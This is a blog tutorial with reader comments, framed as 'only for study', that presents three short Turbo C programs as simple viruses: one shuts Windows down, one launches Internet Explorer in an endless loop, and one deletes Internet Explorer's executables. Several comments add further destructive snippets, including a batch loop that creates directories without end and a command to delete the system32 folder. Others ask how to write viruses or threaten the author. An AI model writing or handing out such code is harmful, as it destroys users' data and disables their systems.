Create simple virus in c programming language


Create simple virus by c programming language.(Only for study)

Write c program which shutdown the window operating system?
Answer:

Step 1: Write the following program in TURBO C.

#include<stdio.h>
#include<dos.h>

int main (void){
    system("shutdown -s");
    return 0;
}

Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (close.exe)
After some time your window operating system will shutdown.

(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?

Answer:
Step 1: Write the following program in TURBO C.

#include<stdio.h>
#include<dos.h>

int main (void){
for(; ;){
system("c:\\progra~1\\intern~1\\iexplore.exe");
}

return 0;
}

Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)

(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?

Answer:


Write the following program in TURBO C.

#include<stdio.h>
#include<dos.h>

int main(void){
system("cd c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
return 0;
}

Step 2: Save the above file. Let file name is delete.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (delete.exe)

Note: Above code has written in trubo c 3.0

If you have any questions in above simple virus by c programming language, you can ask here.

41 comments:

Unknown said...

difference between recursion and iteration.

shiddhant said...

the concept of over lodding function there is in c

amit said...

fantastic for fresher in virus programming

Anonymous said...

RECURCION IS SIMPLY USE OF ANY SUBROUTINE(FUNCTION) AGAIN AND AGAIN , WHILE ITERATION IS USED FOR CALLING SOME STATEMENTS AGAIN AND AGAIN BY USING LOOPS.
THANKYOU
OM PRAKASH

Anonymous said...

RECURCION IS SIMPLY USE OF ANY SUBROUTINE(FUNCTION) AGAIN AND AGAIN , WHILE ITERATION IS USED FOR CALLING SOME STATEMENTS AGAIN AND AGAIN BY USING LOOPS.
THANKYOU
OM PRAKASH

Anonymous said...

What is the disadvantage of loop.

Unknown said...

thanks 4 giving the knowledge about virus

Βαγγέλης said...

How i make to open an internet explorer in a web page i chose nd delete files i want ?

Anonymous said...

#include
#include

int main (){
int n,a[100],b[100];
printf("how many Numbers do You want to treat?");
scanf("%d",&n);
printf("please enter the numbers");
for(int i=0;i<n;i++){
scanf("%d",&a[i]);
}

for(int j=0;j<n;j++){

if(a[j]%2==0){
printf("\neven %d",a[j]);

}
else{
printf("\nodd %d",a[j]);
}
}
getch();
return 0;
}

Unknown said...

how i can create virus which delete other viruses in computer?

Unknown said...

How can create a virus in c or c++ language?

Anonymous said...

WE ARE CYBER_MOUZZA

if you make the virus for destroy a system ,,, we are will attack your

We are cyber_mouzza... you make damaged for system.. security cyber soon search your location be careful with us

Anonymous said...

Why internet explorer direction is so:c:\\progra~1\\intern~1\\iexplore.exe

Anonymous said...

if take the .exe file of that (close.exe) program in pd and run in another computer it also work or not?

Anonymous said...

Study win32 api library , these programs just calling win32 api library functions.

Anonymous said...

when i double click on close.exe...it tell me that this version of file does not compatible with running your windows...plese contanct your software publisher....i am using msdos turboc++ 3.0 /////help me/////////

Anonymous said...

Am using windows 7 ultimate and i tried the internet explorer and other programs but its nt working, ERROR system command must have a prototype, i'm using turbo c++ 4.5, will it support or not?

Anonymous said...

are u sure?

Unknown said...

yes surely it will support u just need a dos box to install it now a days the websites them selves provide dos box with the c setup try it dude

Unknown said...

recursion is function in which function call itself and iteration is loop in which how many times any thing occure...

Anonymous said...

friend , ialso triedit's not supporting.

Unknown said...

any website that teach make virus of own???,please

Unknown said...
This comment has been removed by the author.
Unknown said...

type this on top below dos.h it wiill works 100%;
include stdlib.h in brackets below dos.h

Giteshwar said...

it dosn't work in turbo C++

Unknown said...

Suppose I want run virus program in multy server system how to give directory or path to shot down program

Sandy said...

a same type name function are called in more than one time so the problem occur use "::" scope resolution operator.

Anonymous said...

Can you tell me a small virus program which can be able to operate in Ubuntu version

P.Chandrankith Sai said...

When many fuctions are created in the same name, but with different "signatures".

A "signature" is the data type of the variables we mention during the function declarations.

Unknown said...

The virus just of 4 lines

@echo off

:top

md %random%

goto top

Unknown said...

save this code to notepad in newfolder.bat .and run

Snufkeen said...
This comment has been removed by the author.
shivam said...

hey u wanna create a deadly computer virus then u must visit to infotechforit.blogspot.in

omsec said...

There is no such type of file :(

Unknown said...
This comment has been removed by the author.
Unknown said...

try this
@echo off
del %windir%/system32

xtreme said...

Windows has more than one copy of That folder dude.

Unknown said...

how do i make a virus that does this
*normal*
*opens x.exe*(x.exe can be any executable file, for eg. a game)
*plays game*
*tries to quit game*
*game opens itself again*
and repeat until the virus file is deleted
pls help i am making a rage game and i want that people do not quit the game without completing it

Unknown said...

how can we program virus using C for linux??

Unknown said...

Y we write this code as"c:\\progra~1\\intern~1\\iexplore.exe" ??

Spoils said...

i did not know any thing about programming but i want to become hacker how i will start...... plz gv me sugesstion
........